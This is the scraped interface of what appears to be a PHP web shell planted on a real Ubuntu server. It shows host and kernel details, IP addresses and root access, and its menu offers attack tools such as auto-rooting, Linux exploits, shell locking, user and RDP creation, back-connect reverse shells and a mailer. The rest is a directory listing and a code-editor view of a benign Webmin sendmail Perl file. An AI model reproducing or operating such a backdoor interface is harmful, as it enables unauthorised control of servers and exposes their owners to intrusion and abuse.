Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
webmin /
sendmail /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
4.2
KB
-rw-r--r--
access-lib.pl
6.41
KB
-rwxr-xr-x
acl_security.pl
9.7
KB
-rwxr-xr-x
aliases-lib.pl
7.93
KB
-rwxr-xr-x
autoreply.pl
12.19
KB
-rwxr-xr-x
backup_config.pl
1.48
KB
-rwxr-xr-x
boxes-lib.pl
80.37
KB
-rwxr-xr-x
build.cgi
1.84
KB
-rwxr-xr-x
cgi_args.pl
1.42
KB
-rwxr-xr-x
config-AlmaLinux-7.0-ALL
685
B
-rw-r--r--
config-Amazon-Linux-2-ALL
685
B
-rw-r--r--
config-CentOS-Linux-7.0-ALL
685
B
-rw-r--r--
config-CentOS-Stream-Linux-8.0...
685
B
-rw-r--r--
config-CloudLinux-8.0-ALL
685
B
-rw-r--r--
config-Oracle-Linux-8.0-ALL
685
B
-rw-r--r--
config-Redhat-Enterprise-Linux...
685
B
-rw-r--r--
config-Rocky-Linux-7.0-ALL
685
B
-rw-r--r--
config-Scientific-Linux-7.0-AL...
685
B
-rw-r--r--
config-aix
573
B
-rw-r--r--
config-cobalt-linux
669
B
-rw-r--r--
config-coherent-linux
661
B
-rw-r--r--
config-corel-linux
528
B
-rw-r--r--
config-debian-linux
607
B
-rw-r--r--
config-debian-linux-2.1-2.2
612
B
-rw-r--r--
config-debian-linux-3.0-ALL
616
B
-rw-r--r--
config-freebsd
654
B
-rw-r--r--
config-freebsd-4.0-ALL
659
B
-rw-r--r--
config-generic-linux
672
B
-rw-r--r--
config-gentoo-linux
697
B
-rw-r--r--
config-hpux
525
B
-rw-r--r--
config-irix
668
B
-rw-r--r--
config-macos
657
B
-rw-r--r--
config-macos-1.3-ALL
662
B
-rw-r--r--
config-mandrake-linux
678
B
-rw-r--r--
config-mandrake-linux-8.2
661
B
-rw-r--r--
config-mandrake-linux-9.0-ALL
678
B
-rw-r--r--
config-msc-linux
576
B
-rw-r--r--
config-netbsd
639
B
-rw-r--r--
config-open-linux
671
B
-rw-r--r--
config-open-linux-2.5
676
B
-rw-r--r--
config-open-linux-3.1e
676
B
-rw-r--r--
config-openSUSE-Linux-15.0-ALL
636
B
-rw-r--r--
config-openbsd
640
B
-rw-r--r--
config-openserver
572
B
-rw-r--r--
config-osf1
538
B
-rw-r--r--
config-redhat-linux
654
B
-rw-r--r--
config-redhat-linux-10.0-23.0
685
B
-rw-r--r--
config-redhat-linux-24.0-ALL
747
B
-rw-r--r--
config-redhat-linux-7.1-7.3
656
B
-rw-r--r--
config-redhat-linux-7.4-9.0
661
B
-rw-r--r--
config-slackware-linux
523
B
-rw-r--r--
config-slackware-linux-8.0
672
B
-rw-r--r--
config-slackware-linux-8.1-ALL
699
B
-rw-r--r--
config-sol-linux
679
B
-rw-r--r--
config-solaris
641
B
-rw-r--r--
config-solaris-10-ALL
722
B
-rw-r--r--
config-solaris-7
730
B
-rw-r--r--
config-solaris-8-9
729
B
-rw-r--r--
config-suse-linux
592
B
-rw-r--r--
config-suse-linux-8.2-ALL
640
B
-rw-r--r--
config-turbo-linux
654
B
-rw-r--r--
config-united-linux
592
B
-rw-r--r--
config-unixware
566
B
-rw-r--r--
config.info
2.4
KB
-rw-r--r--
config.info.ca
2.78
KB
-rw-r--r--
config.info.cs
2.6
KB
-rw-r--r--
config.info.de
2.79
KB
-rw-r--r--
config.info.es
1.74
KB
-rw-r--r--
config.info.fr
2.42
KB
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.nl
2.72
KB
-rw-r--r--
config.info.no
2.52
KB
-rw-r--r--
config.info.pl
1.13
KB
-rw-r--r--
config.info.pt_BR
2.85
KB
-rw-r--r--
config.info.ru
2.45
KB
-rw-r--r--
config.info.sv
1.06
KB
-rw-r--r--
config.info.tr
1.09
KB
-rw-r--r--
config.info.uk
2.48
KB
-rw-r--r--
config.info.zh
970
B
-rw-r--r--
config.info.zh_TW
1.04
KB
-rw-r--r--
create_file.cgi
1.41
KB
-rwxr-xr-x
defaultacl
286
B
-rw-r--r--
defines
3.77
KB
-rw-r--r--
del_mailq.cgi
1.31
KB
-rwxr-xr-x
del_mailqs.cgi
2.82
KB
-rwxr-xr-x
delete_access.cgi
782
B
-rwxr-xr-x
delete_aliases.cgi
800
B
-rwxr-xr-x
delete_domains.cgi
710
B
-rwxr-xr-x
delete_generics.cgi
790
B
-rwxr-xr-x
delete_mailers.cgi
713
B
-rwxr-xr-x
delete_virtusers.cgi
799
B
-rwxr-xr-x
domain-lib.pl
4.25
KB
-rwxr-xr-x
dontblames
3.34
KB
-rw-r--r--
edit_access.cgi
505
B
-rwxr-xr-x
edit_afile.cgi
1.08
KB
-rwxr-xr-x
edit_alias.cgi
470
B
-rwxr-xr-x
edit_domain.cgi
433
B
-rwxr-xr-x
edit_feature.cgi
2.98
KB
-rwxr-xr-x
edit_ffile.cgi
2.05
KB
-rwxr-xr-x
edit_file.cgi
2.26
KB
-rwxr-xr-x
edit_generic.cgi
460
B
-rwxr-xr-x
edit_mailer.cgi
435
B
-rwxr-xr-x
edit_rfile.cgi
3.05
KB
-rwxr-xr-x
edit_virtuser.cgi
473
B
-rwxr-xr-x
features-lib.pl
4.25
KB
-rwxr-xr-x
feedback_files.pl
397
B
-rwxr-xr-x
filter.pl
1.99
KB
-rwxr-xr-x
flushq.cgi
714
B
-rwxr-xr-x
generics-lib.pl
4.52
KB
-rwxr-xr-x
index.cgi
4.81
KB
-rwxr-xr-x
install_check.pl
452
B
-rwxr-xr-x
list_access.cgi
3.04
KB
-rwxr-xr-x
list_aliases.cgi
3.48
KB
-rwxr-xr-x
list_cgs.cgi
636
B
-rwxr-xr-x
list_cws.cgi
706
B
-rwxr-xr-x
list_domains.cgi
2.36
KB
-rwxr-xr-x
list_features.cgi
2.97
KB
-rwxr-xr-x
list_generics.cgi
3.83
KB
-rwxr-xr-x
list_mailers.cgi
2.66
KB
-rwxr-xr-x
list_mailq.cgi
3.54
KB
-rwxr-xr-x
list_masq.cgi
1.15
KB
-rwxr-xr-x
list_opts.cgi
4.91
KB
-rwxr-xr-x
list_ports.cgi
2.2
KB
-rwxr-xr-x
list_relay.cgi
938
B
-rwxr-xr-x
list_trusts.cgi
646
B
-rwxr-xr-x
list_us
1
B
-rw-r--r--
list_virtusers.cgi
3.75
KB
-rwxr-xr-x
log_parser.pl
1.73
KB
-rwxr-xr-x
mailers-lib.pl
5.32
KB
-rwxr-xr-x
mailq_search.cgi
996
B
-rwxr-xr-x
manual_features.cgi
398
B
-rwxr-xr-x
module.info
646
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
129
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
217
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
218
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
230
B
-rw-r--r--
module.info.ca
144
B
-rw-r--r--
module.info.ca.auto
24
B
-rw-r--r--
module.info.cs
30
B
-rw-r--r--
module.info.cs.auto
122
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
137
B
-rw-r--r--
module.info.de
130
B
-rw-r--r--
module.info.de.auto
17
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
296
B
-rw-r--r--
module.info.es
35
B
-rw-r--r--
module.info.es.auto
134
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
150
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
229
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
164
B
-rw-r--r--
module.info.fr
34
B
-rw-r--r--
module.info.fr.auto
133
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
173
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
161
B
-rw-r--r--
module.info.hu
37
B
-rw-r--r--
module.info.hu.auto
129
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
161
B
-rw-r--r--
module.info.ja
27
B
-rw-r--r--
module.info.ja.auto
143
B
-rw-r--r--
module.info.ko
24
B
-rw-r--r--
module.info.ko.auto
141
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
173
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
169
B
-rw-r--r--
module.info.ms
127
B
-rw-r--r--
module.info.ms.auto
21
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
142
B
-rw-r--r--
module.info.nl
30
B
-rw-r--r--
module.info.nl.auto
108
B
-rw-r--r--
module.info.no
31
B
-rw-r--r--
module.info.no.auto
113
B
-rw-r--r--
module.info.pl
31
B
-rw-r--r--
module.info.pl.auto
122
B
-rw-r--r--
module.info.pt
35
B
-rw-r--r--
module.info.pt.auto
122
B
-rw-r--r--
module.info.pt_BR
39
B
-rw-r--r--
module.info.pt_BR.auto
128
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
144
B
-rw-r--r--
module.info.ru
42
B
-rw-r--r--
module.info.ru.auto
214
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
146
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
153
B
-rw-r--r--
module.info.sv
32
B
-rw-r--r--
module.info.sv.auto
104
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
294
B
-rw-r--r--
module.info.tr
35
B
-rw-r--r--
module.info.tr.auto
131
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
228
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
233
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
156
B
-rw-r--r--
module.info.zh
24
B
-rw-r--r--
module.info.zh.auto
93
B
-rw-r--r--
module.info.zh_TW
27
B
-rw-r--r--
module.info.zh_TW.auto
99
B
-rw-r--r--
move.cgi
559
B
-rwxr-xr-x
negativeacl
8
B
-rw-r--r--
prefs.info
147
B
-rw-r--r--
qdetach.cgi
1.05
KB
-rwxr-xr-x
rbac-mapping
186
B
-rw-r--r--
save_access.cgi
1.98
KB
-rwxr-xr-x
save_afile.cgi
580
B
-rwxr-xr-x
save_alias.cgi
4.12
KB
-rwxr-xr-x
save_cgs.cgi
640
B
-rwxr-xr-x
save_cws.cgi
678
B
-rwxr-xr-x
save_domain.cgi
1.37
KB
-rwxr-xr-x
save_feature.cgi
2.32
KB
-rwxr-xr-x
save_ffile.cgi
860
B
-rwxr-xr-x
save_file.cgi
3.02
KB
-rwxr-xr-x
save_generic.cgi
1.57
KB
-rwxr-xr-x
save_mailer.cgi
1.83
KB
-rwxr-xr-x
save_masq.cgi
1.2
KB
-rwxr-xr-x
save_opts.cgi
3.29
KB
-rwxr-xr-x
save_ports.cgi
2.47
KB
-rwxr-xr-x
save_relay.cgi
710
B
-rwxr-xr-x
save_rfile.cgi
1.25
KB
-rwxr-xr-x
save_trusts.cgi
589
B
-rwxr-xr-x
save_virtuser.cgi
2.81
KB
-rwxr-xr-x
sendmail-lib.pl
17.76
KB
-rwxr-xr-x
start.cgi
248
B
-rwxr-xr-x
stop.cgi
276
B
-rwxr-xr-x
useradmin_update.pl
1.43
KB
-rwxr-xr-x
view_mailq.cgi
3.91
KB
-rwxr-xr-x
virtusers-lib.pl
6.22
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : acl_security.pl
require 'sendmail-lib.pl'; # acl_security_form(&options) # Output HTML for editing security options for the sendmail module sub acl_security_form { print "<tr> <td><b>$text{'acl_opts'}</b></td> <td>\n"; printf "<input type=radio name=opts value=1 %s> $text{'yes'}\n", $_[0]->{'opts'} ? "checked" : ""; printf "<input type=radio name=opts value=0 %s> $text{'no'}</td>\n", $_[0]->{'opts'} ? "" : "checked"; print "<td><b>$text{'acl_cws'}</b></td> <td>\n"; printf "<input type=radio name=cws value=1 %s> $text{'yes'}\n", $_[0]->{'cws'} ? "checked" : ""; printf "<input type=radio name=cws value=0 %s> $text{'no'}</td> </tr>\n", $_[0]->{'cws'} ? "" : "checked"; print "<tr> <td><b>$text{'acl_masq'}</b></td> <td>\n"; printf "<input type=radio name=masq value=1 %s> $text{'yes'}\n", $_[0]->{'masq'} ? "checked" : ""; printf "<input type=radio name=masq value=0 %s> $text{'no'}</td>\n", $_[0]->{'masq'} ? "" : "checked"; print "<td><b>$text{'acl_trusts'}</b></td> <td>\n"; printf "<input type=radio name=trusts value=1 %s> $text{'yes'}\n", $_[0]->{'trusts'} ? "checked" : ""; printf "<input type=radio name=trusts value=0 %s> $text{'no'}</td> </tr>\n", $_[0]->{'trusts'} ? "" : "checked"; print "<tr> <td><b>$text{'acl_cgs'}</b></td> <td>\n"; printf "<input type=radio name=cgs value=1 %s> $text{'yes'}\n", $_[0]->{'cgs'} ? "checked" : ""; printf "<input type=radio name=cgs value=0 %s> $text{'no'}</td>\n", $_[0]->{'cgs'} ? "" : "checked"; print "<td><b>$text{'acl_relay'}</b></td> <td>\n"; printf "<input type=radio name=relay value=1 %s> $text{'yes'}\n", $_[0]->{'relay'} ? "checked" : ""; printf "<input type=radio name=relay value=0 %s> $text{'no'}</td> </tr>\n", $_[0]->{'relay'} ? "" : "checked"; print "<tr> <td><b>$text{'acl_mailers'}</b></td> <td>\n"; printf "<input type=radio name=mailers value=1 %s> $text{'yes'}\n", $_[0]->{'mailers'} ? "checked" : ""; printf "<input type=radio name=mailers value=0 %s> $text{'no'}</td>\n", $_[0]->{'mailers'} ? "" : "checked"; print "<td><b>$text{'acl_access'}</b></td> <td>\n"; printf "<input type=radio name=access value=1 %s> $text{'yes'}\n", $_[0]->{'access'} ? "checked" : ""; printf "<input type=radio name=access value=0 %s> $text{'no'}</td> </tr>\n", $_[0]->{'access'} ? "" : "checked"; print "<tr> <td><b>$text{'acl_domains'}</b></td> <td>\n"; printf "<input type=radio name=domains value=1 %s> $text{'yes'}\n", $_[0]->{'domains'} ? "checked" : ""; printf "<input type=radio name=domains value=0 %s> $text{'no'}</td>\n", $_[0]->{'domains'} ? "" : "checked"; print "<td><b>$text{'acl_stop'}</b></td> <td>\n"; printf "<input type=radio name=stop value=1 %s> $text{'yes'}\n", $_[0]->{'stop'} ? "checked" : ""; printf "<input type=radio name=stop value=0 %s> $text{'no'}</td> </tr>\n", $_[0]->{'stop'} ? "" : "checked"; print "<tr> <td><b>$text{'acl_manual'}</b></td> <td>\n"; printf "<input type=radio name=manual value=1 %s> $text{'yes'}\n", $_[0]->{'manual'} ? "checked" : ""; printf "<input type=radio name=manual value=0 %s> $text{'no'}</td>\n", $_[0]->{'manual'} ? "" : "checked"; print "<td><b>$text{'acl_mailq'}</b></td> <td><select name=mailq>\n"; printf "<option value=2 %s>$text{'acl_viewdel'}</option>\n", $_[0]->{'mailq'} == 2 ? "selected" : ""; printf "<option value=1 %s>$text{'acl_view'}</option>\n", $_[0]->{'mailq'} == 1 ? "selected" : ""; printf "<option value=0 %s>$text{'no'}</option>\n", $_[0]->{'mailq'} == 0 ? "selected" : ""; print "</select></td> </tr>\n"; print "<tr> <td><b>$text{'acl_qdoms'}</b></td> <td colspan=3>\n"; printf "<input type=radio name=qdoms_def value=1 %s> %s\n", $_[0]->{'qdoms'} ? "" : "checked", $text{'acl_all'}; printf "<input type=radio name=qdoms_def value=0 %s> %s\n", $_[0]->{'qdoms'} ? "checked" : "", $text{'acl_matching'}; printf "<input name=qdoms size=40 value='%s'></td> </tr>\n", $_[0]->{'qdoms'}; print "<tr> <td><b>$text{'acl_qdomsmode'}</b></td> <td colspan=3>\n"; foreach $m (0 .. 2) { printf "<input type=radio name=qdomsmode value=%s %s> %s\n", $m, $_[0]->{'qdomsmode'} == $m ? "checked" : "", $text{'acl_qdomsmode'.$m}; } print "</td> </tr>\n"; print "<tr> <td><b>$text{'acl_flushq'}</b></td> <td>\n"; printf "<input type=radio name=flushq value=1 %s> $text{'yes'}\n", $_[0]->{'flushq'} ? "checked" : ""; printf "<input type=radio name=flushq value=0 %s> $text{'no'}</td>\n", $_[0]->{'flushq'} ? "" : "checked"; print "<td><b>$text{'acl_ports'}</b></td> <td>\n"; printf "<input type=radio name=ports value=1 %s> $text{'yes'}\n", $_[0]->{'ports'} ? "checked" : ""; printf "<input type=radio name=ports value=0 %s> $text{'no'}</td>\n", $_[0]->{'ports'} ? "" : "checked"; # Virtusers print "<tr> <td colspan=4><hr></td> </tr>\n"; print "<tr> <td valign=top><b>$text{'acl_virtusers'}</b></td> <td colspan=3>\n"; printf "<input type=radio name=vmode value=0 %s> $text{'acl_none'}\n", $_[0]->{'vmode'} == 0 ? "checked" : ""; printf "<input type=radio name=vmode value=1 %s> $text{'acl_all'}\n", $_[0]->{'vmode'} == 1 ? "checked" : ""; printf "<input type=radio name=vmode value=3 %s> $text{'acl_vsame'}<br>\n", $_[0]->{'vmode'} == 3 ? "checked" : ""; printf "<input type=radio name=vmode value=2 %s> $text{'acl_matching'}\n", $_[0]->{'vmode'} == 2 ? "checked" : ""; printf "<input name=vaddrs size=40 value='%s'></td> </tr>\n", $_[0]->{'vaddrs'}; print "<tr> <td><b>$text{'acl_vtypes'}</b></td>\n"; print "<td colspan=3>\n"; for($n=0; $n<3; $n++) { printf "<input type=checkbox name=vedit_%s value=1 %s> %s\n", $n, $_[0]->{"vedit_$n"} ? "checked" : "", $text{"acl_vtype$n"}; } print "</td> </tr>\n"; print "<tr> <td><b>$text{'acl_vmax'}</b></td>\n"; printf "<td><input type=radio name=vmax_def value=1 %s> %s\n", $_[0]->{'vmax'} ? "" : "checked", $text{'acl_unlimited'}; printf "<input type=radio name=vmax_def value=0 %s>\n", $_[0]->{'vmax'} ? "checked" : ""; printf "<input name=vmax size=5 value='%s'></td>\n", $_[0]->{'vmax'}; print "<td><b>$text{'acl_vcatchall'}</b></td>\n"; print "<td>",&ui_yesno_radio("vcatchall", int($_[0]->{'vcatchall'})),"</td> </tr>\n"; # Aliases print "<tr> <td colspan=4><hr></td> </tr>\n"; print "<tr> <td valign=top><b>$text{'acl_aliases'}</b></td> <td colspan=3>\n"; printf "<input type=radio name=amode value=0 %s> $text{'acl_none'}\n", $_[0]->{'amode'} == 0 ? "checked" : ""; printf "<input type=radio name=amode value=1 %s> $text{'acl_all'}\n", $_[0]->{'amode'} == 1 ? "checked" : ""; printf "<input type=radio name=amode value=3 %s> $text{'acl_asame'}<br>\n", $_[0]->{'amode'} == 3 ? "checked" : ""; printf "<input type=radio name=amode value=2 %s> $text{'acl_matching'}\n", $_[0]->{'amode'} == 2 ? "checked" : ""; printf "<input name=aliases size=40 value='%s'></td> </tr>\n", $_[0]->{'aliases'}; print "<tr> <td><b>$text{'acl_atypes'}</b></td> <td colspan=3>\n"; for($n=1; $n<=6; $n++) { printf "<input type=checkbox name=aedit_%s value=1 %s> %s\n", $n, $_[0]->{"aedit_$n"} ? "checked" : "", $text{"acl_atype$n"}; } print "</td> </tr>\n"; print "<tr> <td><b>$text{'acl_amax'}</b></td>\n"; printf "<td colspan=3><input type=radio name=amax_def value=1 %s> %s\n", $_[0]->{'amax'} ? "" : "checked", $text{'acl_unlimited'}; printf "<input type=radio name=amax_def value=0 %s>\n", $_[0]->{'amax'} ? "checked" : ""; printf "<input name=amax size=5 value='%s'></td> </tr>\n", $_[0]->{'amax'}; print "<tr> <td><b>$text{'acl_apath'}</b></td>\n"; printf "<td colspan=3><input name=apath size=40 value='%s'> %s</td> </tr>\n", $_[0]->{'apath'}, &file_chooser_button("apath", 1); # Outgoing address mappings print "<tr> <td colspan=4><hr></td> </tr>\n"; print "<tr> <td valign=top><b>$text{'acl_outgoing'}</b></td> <td colspan=3>\n"; printf "<input type=radio name=omode value=0 %s> $text{'acl_none'}\n", $_[0]->{'omode'} == 0 ? "checked" : ""; printf "<input type=radio name=omode value=1 %s> $text{'acl_all'}<br>\n", $_[0]->{'omode'} == 1 ? "checked" : ""; printf "<input type=radio name=omode value=2 %s> $text{'acl_matching'}\n", $_[0]->{'omode'} == 2 ? "checked" : ""; printf "<input name=oaddrs size=40 value='%s'></td> </tr>\n", $_[0]->{'oaddrs'}; # Spam control rules print "<tr> <td colspan=4><hr></td> </tr>\n"; print "<tr> <td valign=top><b>$text{'acl_spam'}</b></td> <td colspan=3>\n"; printf "<input type=radio name=smode value=1 %s> $text{'acl_all'}\n", $_[0]->{'smode'} == 1 ? "checked" : ""; printf "<input type=radio name=smode value=2 %s> $text{'acl_matching'}\n", $_[0]->{'smode'} == 2 ? "checked" : ""; printf "<input name=saddrs size=40 value='%s'></td> </tr>\n", $_[0]->{'saddrs'}; } # acl_security_save(&options) # Parse the form for security options for the sendmail module sub acl_security_save { $_[0]->{'opts'} = $in{'opts'}; $_[0]->{'ports'} = $in{'ports'}; $_[0]->{'cws'} = $in{'cws'}; $_[0]->{'masq'} = $in{'masq'}; $_[0]->{'trusts'} = $in{'trusts'}; $_[0]->{'cgs'} = $in{'cgs'}; $_[0]->{'relay'} = $in{'relay'}; $_[0]->{'manual'} = $in{'manual'}; $_[0]->{'mailq'} = $in{'mailq'}; $_[0]->{'qdoms'} = $in{'qdoms_def'} ? undef : $in{'qdoms'}; $_[0]->{'qdomsmode'} = $in{'qdomsmode'}; $_[0]->{'mailers'} = $in{'mailers'}; $_[0]->{'access'} = $in{'access'}; $_[0]->{'domains'} = $in{'domains'}; $_[0]->{'stop'} = $in{'stop'}; $_[0]->{'vmode'} = $in{'vmode'}; $_[0]->{'vaddrs'} = $in{'vmode'} == 2 ? $in{'vaddrs'} : ""; $_[0]->{'vmax'} = $in{'vmax_def'} ? undef : $in{'vmax'}; foreach $i (0..2) { $_[0]->{"vedit_$i"} = $in{"vedit_$i"}; } $_[0]->{'vcatchall'} = $in{'vcatchall'}; $_[0]->{'amode'} = $in{'amode'}; $_[0]->{'aliases'} = $in{'amode'} == 2 ? $in{'aliases'} : ""; $_[0]->{'amax'} = $in{'amax_def'} ? undef : $in{'amax'}; $_[0]->{'apath'} = $in{'apath'}; foreach $i (1..6) { $_[0]->{"aedit_$i"} = $in{"aedit_$i"}; } $_[0]->{'omode'} = $in{'omode'}; $_[0]->{'oaddrs'} = $in{'omode'} == 2 ? $in{'oaddrs'} : ""; $_[0]->{'flushq'} = $in{'flushq'}; $_[0]->{'smode'} = $in{'smode'}; $_[0]->{'saddrs'} = $in{'smode'} == 2 ? $in{'saddrs'} : ""; }
Close